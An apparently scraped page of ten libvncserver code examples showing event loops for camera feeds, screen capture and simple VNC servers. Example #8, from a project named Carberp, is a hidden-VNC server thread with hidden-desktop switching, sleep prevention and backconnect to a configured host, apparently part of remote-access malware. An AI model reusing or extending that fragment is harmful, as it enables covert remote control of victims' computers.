コード例 #1
0
ファイル: camera.c プロジェクト: AlexejStukov/libvncserver
/* 
 * Single-threaded application that interleaves client servicing with taking
 * pictures from the camera.  This way, we do not update the framebuffer
 * while an encoding is working on it too (banding, and image artifacts).
 */
int main(int argc,char** argv)
{                                       
  long usec;
  
  rfbScreenInfoPtr server=rfbGetScreen(&argc,argv,WIDTH,HEIGHT,8,3,BPP);
  if(!server)
    return 0;
  server->desktopName = "Live Video Feed Example";
  server->frameBuffer=(char*)malloc(WIDTH*HEIGHT*BPP);
  server->alwaysShared=(1==1);

  /* Initialize the server */
  rfbInitServer(server);           

  /* Loop, processing clients and taking pictures */
  while (rfbIsActive(server)) {
    if (TimeToTakePicture())
      if (TakePicture((unsigned char *)server->frameBuffer))
        rfbMarkRectAsModified(server,0,0,WIDTH,HEIGHT);
          
    usec = server->deferUpdateTime*1000;
    rfbProcessEvents(server,usec);
  }
  return(0);
}
コード例 #2
0
bool PresentationServer::run() {
	const long RFB_PROCESS_EVENTS_TIMEOUT_USEC = 20000;
	
	//Server tot oder kein Client mehr da?
	if (!_server || _server->clientHead == 0)
		return false;

	//Server runtergefahren?
	if (!rfbIsActive(_server))
		return false;

	if (_capture) {
		//5 Bilder / Sekunde machen
		if (std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::high_resolution_clock::now() - _tick).count() > (1000 / _fps)) {
			_capture->capture(_server);
			_tick = std::chrono::high_resolution_clock::now();
		}
	}

	rfbProcessEvents(_server, RFB_PROCESS_EVENTS_TIMEOUT_USEC);

	// Soll die Präsentation 
	if (_useTimeOfDeath) {
		if (std::chrono::system_clock::now() > _timeOfDeath)
			return false;
	}

	return true; //Weitermachen
}
コード例 #3
0
int main(int argc,char** argv)
{
  rfbFontDataPtr font;
  rfbScreenInfoPtr s=rfbGetScreen(&argc,argv,640,480,8,3,3);
  int i,j;

  s->frameBuffer=(char*)malloc(640*480*3);
  rfbInitServer(s);

  for(j=0;j<480;j++)
    for(i=0;i<640;i++) {
      s->frameBuffer[(j*640+i)*3+0]=j*256/480;
      s->frameBuffer[(j*640+i)*3+1]=i*256/640;
      s->frameBuffer[(j*640+i)*3+2]=(i+j)*256/(480+640);
    }

  rfbScreen = s;
  font=rfbLoadConsoleFont(DEFAULTFONT);
  if(!font) {
    rfbErr("Couldn't find %s\n",DEFAULTFONT);
    exit(1);
  }
  
  for(j=0;j<0 && rfbIsActive(s);j++)
    rfbProcessEvents(s,900000);

  i = rfbSelectBox(s,font,fontlist,10,20,200,300,0xffdfdf,0x602040,2,showFont);
  rfbLog("Selection: %d: %s\n",i,(i>=0)?fontlist[i]:"cancelled");

  rfbFreeFont(font);
  free(s->frameBuffer);
  rfbScreenCleanup(s);

  return(0);
}
コード例 #4
0
int main(int argc,char** argv)
{
  rfbScreenInfoPtr rfbScreen =
    rfbGetScreen(&argc,argv,maxx,maxy,8,3,bpp);
  rfbScreen->desktopName = "LibVNCServer Example";
  rfbScreen->frameBuffer = (char*)malloc(maxx*maxy*bpp);
  rfbScreen->alwaysShared = TRUE;
  rfbScreen->ptrAddEvent = doptr;
  rfbScreen->kbdAddEvent = dokey;
  rfbScreen->newClientHook = newclient;
  rfbScreen->httpDir = "../classes";
  rfbScreen->httpEnableProxyConnect = TRUE;

  initBuffer((unsigned char*)rfbScreen->frameBuffer);
  rfbDrawString(rfbScreen,&radonFont,20,100,"Hello, World!",0xffffff);

  /* This call creates a mask and then a cursor: */
  /* rfbScreen->defaultCursor =
       rfbMakeXCursor(exampleCursorWidth,exampleCursorHeight,exampleCursor,0);
  */

  MakeRichCursor(rfbScreen);

  /* initialize the server */
  rfbInitServer(rfbScreen);

#ifndef BACKGROUND_LOOP_TEST
#ifdef USE_OWN_LOOP
  {
    int i;
    for(i=0;rfbIsActive(rfbScreen);i++) {
      fprintf(stderr,"%d\r",i);
      rfbProcessEvents(rfbScreen,100000);
    }
  }
#else
  /* this is the blocking event loop, i.e. it never returns */
  /* 40000 are the microseconds to wait on select(), i.e. 0.04 seconds */
  rfbRunEventLoop(rfbScreen,40000,FALSE);
#endif /* OWN LOOP */
#else
#if !defined(LIBVNCSERVER_HAVE_LIBPTHREAD)
#error "I need pthreads for that."
#endif

  /* this is the non-blocking event loop; a background thread is started */
  rfbRunEventLoop(rfbScreen,-1,TRUE);
  /* now we could do some cool things like rendering in idle time */
  while(1) sleep(5); /* render(); */
#endif /* BACKGROUND_LOOP */

  free(rfbScreen->frameBuffer);
  rfbScreenCleanup(rfbScreen);

  return(0);
}
コード例 #5
0
ファイル: v4l2tovnc.c プロジェクト: ihadzic/vcrtcm-doc
int main(int argc,char **argv)
{
	rfbScreenInfoPtr s;
	double t1, t2;
	double timeout;
	int nread;

	if (argc == 2)
		v4l2str = argv[1];
	printf("Using dev %s\n", v4l2str);
	if (argc == 3)
		v4l2fps = atoi(argv[2]);
	printf("Using fps %d\n", v4l2fps);

	if (open_v4l2() != 0)
		exit(EXIT_FAILURE);
	if (init_v4l2() != 0)
		exit(EXIT_FAILURE);
	if (alloc_mem() != 0)
		exit(EXIT_FAILURE);

	s = rfbGetScreen(&argc, argv, v4l2width, v4l2height, 8, 3, v4l2Bpp);
	s->desktopName = "v4l2tovnc";
	s->frameBuffer = (char *) v4l2buf;
	s->serverFormat.blueShift = 0;
	s->serverFormat.greenShift = 8;
	s->serverFormat.redShift = 16;

	timeout = 1.0 / v4l2fps;
	rfbInitServer(s);
	t1 = timestamp();
	while (rfbIsActive(s)) {
		t2 = timestamp();
		if ((t2 - t1) >= timeout) {
			nread = read_frame();
			if (nread < 0)
				break;
			rfbMarkRectAsModified(s, 0, 0, v4l2width, v4l2height);
			t1 = timestamp();
		}
		rfbProcessEvents(s, -1);
	}
	close_v4l2();
	return 0;
}
コード例 #6
0
ファイル: vnc_service.c プロジェクト: bbw2008good/ftk
static void* vnc_thread(void* args)
{
	int i = 0;
	int argc = 1;
	int width = g_vnc_context.width;
	int height = g_vnc_context.height;
	char* argv[5] = {"FTKVNC", NULL};
	rfbScreenInfoPtr rfbScreen = NULL;
	
	ftk_logd("%s: vnc thread start.\n", __func__);

	rfbScreen = rfbGetScreen(&argc, argv, width, height, 8, 4, 4);
	rfbScreen->desktopName   = "FTK VNC";
	rfbScreen->alwaysShared  = 0;
	rfbScreen->frameBuffer   = g_vnc_context.vnc_buffer;
	rfbScreen->ptrAddEvent   = on_pointer_event;
	rfbScreen->kbdAddEvent   = on_key_event;
	rfbScreen->newClientHook = on_new_client;
	rfbScreen->deferUpdateTime = 100;
	rfbInitServer(rfbScreen);

	g_vnc_context.rfbScreen = rfbScreen;
	for(i=0; !g_vnc_context.quit && rfbIsActive(rfbScreen); i++)
	{
		if(g_vnc_context.client_nr > 0 && g_vnc_context.active)
		{
			if((i % 10) == 0)
			{
				rfbMarkRectAsModified(g_vnc_context.rfbScreen, 0, 0, width, height);
			}
		}
		else
		{
			sleep(1);
		}

		rfbProcessEvents(rfbScreen, 200000);
	}

	ftk_logd("%s: vnc thread quit.\n", __func__);

	rfbScreenCleanup(rfbScreen);

	return NULL;
}
コード例 #7
0
ファイル: main.c プロジェクト: 21hub/libvncserver
void rfbRunEventLoop(rfbScreenInfoPtr screen, long usec, rfbBool runInBackground)
{
  if(runInBackground) {
#ifdef LIBVNCSERVER_HAVE_LIBPTHREAD
       pthread_t listener_thread;

       screen->backgroundLoop = TRUE;

       pthread_create(&listener_thread, NULL, listenerRun, screen);
    return;
#else
    rfbErr("Can't run in background, because I don't have PThreads!\n");
    return;
#endif
  }

  if(usec<0)
    usec=screen->deferUpdateTime*1000;

  while(rfbIsActive(screen))
    rfbProcessEvents(screen,usec);
}
コード例 #8
0
ファイル: HVNC.cpp プロジェクト: 12019/Carberp
void WINAPI VNCServerThread(HVNC hVNC)
{
    HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC);
    if (!lpHandle)
        return;

    if (!SetThreadExecutionState(ES_CONTINUOUS+ES_SYSTEM_REQUIRED+ES_AWAYMODE_REQUIRED))
        SetThreadExecutionState(ES_CONTINUOUS+ES_SYSTEM_REQUIRED);
    SetThreadDesktopEx(hDefaultDesktop);

    PHVNC lpServer=lpHandle->lpServer;
    rfbScreenInfoPtr rfbScreen=lpServer->rfbScreen=rfbGetScreen(NULL,NULL,lpServer->DeskInfo.dwWidth,lpServer->DeskInfo.dwHeight,8,3,lpServer->DeskInfo.bBytesPerPixel);
    if (!rfbScreen)
    {
        lpServer->bActive=false;
        SetEvent(lpHandle->hEvent);
        return;
    }

    rfbScreen->screenData=lpServer;
    rfbScreen->desktopName=lpServer->DeskInfo.szDeskName;
    rfbScreen->frameBuffer=(char*)lpServer->DIBInfo.lpOldBkgBits;
    rfbScreen->alwaysShared=lpHandle->ConnInfo.bShared;
    rfbScreen->ptrAddEvent=OnPointerEvent;
    rfbScreen->kbdAddEvent=OnKeyboardEvent;
    rfbScreen->setXCutText=OnReceiveClipboard;
    rfbScreen->getFileTransferPermission=OnFileTransfer;
    rfbScreen->port=lpHandle->ConnInfo.wVNCPort;

    if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_VNC_CURSOR))
        SetXCursor(rfbScreen,&cur_arrow);
    else
        rfbScreen->cursor=NULL;

    if ((lpHandle->ConnInfo.szBCHost[0]) && (lpHandle->ConnInfo.wBCPort))
    {
        rfbScreen->backconnect=TRUE;
        lstrcpyA(rfbScreen->backconnectHost,lpHandle->ConnInfo.szBCHost);
        rfbScreen->bcPort=lpHandle->ConnInfo.wBCPort;
    }

    if (lpHandle->ConnInfo.Passwords.dwPasswordsCount)
    {
        DWORD dwPasswordsCount=lpHandle->ConnInfo.Passwords.dwPasswordsCount;
        PASSWORD_ITEM **lppPasswords=(PASSWORD_ITEM **)MemAlloc((dwPasswordsCount+1)*sizeof(PASSWORD_ITEM *));

        for (DWORD i=0; i < dwPasswordsCount; i++)
        {
            lppPasswords[i]=(PASSWORD_ITEM*)MemAlloc(sizeof(PASSWORD_ITEM));
            lppPasswords[i]->dwFlags=lpHandle->ConnInfo.Passwords.piPasswords[i].dwFlags;
            lstrcpyA(lppPasswords[i]->szPassword,lpHandle->ConnInfo.Passwords.piPasswords[i].szPassword);
        }
        rfbScreen->authPasswdData=lppPasswords;
        rfbScreen->passwordCheck=OnNewClientAuth;
    }
    else
        rfbScreen->newClientHook=OnNewClient;

    while (lpServer->bActive)
    {
        rfbInitServer(rfbScreen);

        if (rfbScreen->backconnect)
        {
            if (rfbScreen->connectSock < 0)
                lpServer->bActive=false;
        }
        else if (rfbScreen->listenSock < 0)
            lpServer->bActive=false;

        if (lpHandle->hEvent)
            SetEvent(lpHandle->hEvent);

        while ((rfbIsActive(rfbScreen)) && (IsConnectionActive(lpServer)))
        {
            if (WaitForSingleObject(lpServer->EventsInfo.hVNCKillEvent,0) != WAIT_TIMEOUT)
                break;

            if (!(lpServer->DeskInfo.dwFlags & HVNC_SCREEN_SIZE_DETERMINED))
            {
                if (WaitForSingleObject(hDispChangeEvent,0) == WAIT_OBJECT_0)
                    SetNewFramebuffer(lpServer,lpSharedVNCData->dwNewWidth,lpSharedVNCData->dwNewHeight,lpSharedVNCData->bNewBitsPerPixel);
            }

            if (WaitForSingleObject(lpServer->EventsInfo.hClipboardUpdatedEvent,0) == WAIT_OBJECT_0)
                SendClipboard(lpServer);

            if ((lpServer->DeskInfo.bInputDesktop) && (lpServer->EventsInfo.dwClients))
            {
                GetCursorPos(&lpServer->lpGlobalVNCData->ptCursor);

                rfbClientIteratorPtr i=rfbGetClientIteratorWithClosed(rfbScreen);
                rfbClientPtr cl=rfbClientIteratorHead(i);
                if (cl)
                    rfbDefaultPtrAddEvent(0,lpServer->lpGlobalVNCData->ptCursor.x,lpServer->lpGlobalVNCData->ptCursor.y,cl);
                rfbReleaseClientIterator(i);
            }

            rfbProcessEvents(rfbScreen,1000);
        }

        if (WaitForSingleObject(lpServer->EventsInfo.hVNCKillEvent,0) != WAIT_TIMEOUT)
            break;

        VNCDisconnectAllUsers(hVNC);
        rfbShutdownServer(rfbScreen,TRUE);
        if (lpServer->rfbScreen->backconnect)
        {
            DWORD dwTickCount=GetTickCount();
            if (dwTickCount-lpServer->dwLastReconnectionTime <= 1000)
            {
                if (++lpServer->dwReconnectionsCount >= MAX_RECONNECTIONS_PER_SECOND)
                {
                    lpServer->bActive=false;
                    break;
                }
            }
            else
                lpServer->dwReconnectionsCount=0;
            lpServer->dwLastReconnectionTime=dwTickCount;
        }
        rfbScreen->socketState=RFB_SOCKET_INIT;
        Sleep(1);
    }
    return;
}
コード例 #9
0
int main(int argc,char** argv)
{                                       
  long usec;
  int port = -1;
  rfbScreenInfoPtr server = NULL;
  char* authData[2] = { NULL, NULL};
  
  int width =  -1;
  int height = -1;
  int left =  -1;
  int top = -1;

  BOOL ro = TRUE;


  if((argc != 7) && (argc != 8))
  {
      printf("Usage: WinLibVNCServer <left> <top> <width> <height> <port> <password> [/manage]"); 
      return -1;
  }

  left = atoi(argv[1]);
  if(!left && strcmp(argv[1], "0")) left = -1;
  top = atoi(argv[2]);
  if(!top && strcmp(argv[2], "0")) top = -1;
  width = (atoi(argv[3]) / 4)*4;
  height = atoi(argv[4]);
  port = atoi(argv[5]);
  authData[0] = argv[6];

  if((left < 0) || (top < 0) || (width <= 0) || (height <= 0) || (port <=0))
  {
      printf("Invalid command line parameter(s)"); 
      return -1;
  }  

  if(8 == argc) 
  {
     if(stricmp(argv[7], "/manage"))
     {
        printf("Invalid command line parameter(s)"); 
        return -1;
     } 
     else
     {
        ro = FALSE;
     }
  }
    

  if(!winInitScreenCapture(left, top, width, height))
      return 0;


  server = rfbGetScreen(&argc, argv, width, height, 8, 3, BPP);
  if(!server)
    return 0;

  server->port = port;
  server->passwordCheck = rfbCheckPasswordByList;
  server->authPasswdData = authData;

  server->desktopName = "WinLibVNCServer";
  server->frameBuffer = (char*)malloc(width*height*BPP);
  server->alwaysShared = (1==1);

  if(!ro)
  {
      winInitPointerHandler(rfbDefaultPtrAddEvent, left, top);
      server->ptrAddEvent = winPtrAddEvent;
  }

  /* Initialize the server */
  rfbInitServer(server);           

  StartCounter();
  /* Loop, processing clients and taking pictures */
  while (rfbIsActive(server)) {
    int picturetaken = 0;
    if (picturetaken = TimeToTakePicture())
    {
      prevTimeSShot = GetCounter();
      if (winTakePicture32((unsigned char *)server->frameBuffer))
        rfbMarkRectAsModified(server, 0, 0, width, height);
        
        prevTimeStats = currTimeSShot = GetCounter();
        
        fprintf(stderr,"Screen capture: %5.2f ms,"
                       " events: %5.2f ms,"
                       " printf(): %5.2f ms\r", 
                        currTimeSShot - prevTimeSShot,
                        timeEvents, timeStats);
        timeStats = GetCounter() - prevTimeStats;
    }
      
    if(picturetaken)
        timeEvents = GetCounter();
    usec = server->deferUpdateTime*1000;
    rfbProcessEvents(server,usec);
    if(picturetaken) timeEvents = GetCounter() - timeEvents;
  }

  winShutdownScreenCapture();
  return(0);
}
コード例 #10
0
ファイル: screentovnc.cpp プロジェクト: Wnt/mervncserver
/****************************************************************************
 * based on:
 * https://code.google.com/p/android-vnc-server/source/browse/trunk/fbvncserver.c#381
 * GPLv2+
 ****************************************************************************/
void ScreenToVnc::grapFrame()
{
    if (rfbIsActive(m_server) && m_server->clientHead != NULL){
        unsigned int *f, *c, *r;
        int x, y;

        int min_x = 99999;
        int min_y = 99999;
        int max_x = -1;
        int max_y = -1;
        bool bufferChanged = false;

        f = (unsigned int *)m_fbmmap;                 /* -> framebuffer         */
        c = (unsigned int *)m_compareFrameBuffer;     /* -> compare framebuffer */
        r = (unsigned int *)m_server->frameBuffer;    /* -> remote framebuffer  */

        struct fb_var_screeninfo scrinfo;
        ioctl(m_fbfd, FBIOGET_VSCREENINFO, &scrinfo);
        int offset = (scrinfo.xres + m_xPadding) * scrinfo.yoffset;

        for (y = 0; y < m_scrinfo.yres; y++)
        {
            for (x = 0; x < (m_scrinfo.xres + m_xPadding); x++)
            {
                unsigned int pixel = *(f + offset);

                if (pixel != *c)
                {
                    *c = pixel;
                    *r = pixel;
                    bufferChanged = true;

                    if (x < min_x)
                        min_x = x;

                    if (y < min_y)
                        min_y = y;

                    if (x > max_x)
                        max_x = x;

                    if (y > max_y)
                        max_y = y;
                }
                f++, c++;
                r++;
            }
        }

        if (bufferChanged)
        {
//            LOG() << "Dirty page:" << min_x << "x"
//                  << min_y << "x"
//                  << max_x << "x"
//                  << max_y;

            // TODO: somewhere we are off by one?
            rfbMarkRectAsModified(m_server, min_x, min_y, max_x+1, max_y+1);
        }

        // TODO: make the 500ms configurable?!
        qint64 now = QDateTime::currentMSecsSinceEpoch();
        if (!isEmptyMouse && now - lastPointerMove > 500) {
            makeEmptyMouse(m_server);
        }
    }
}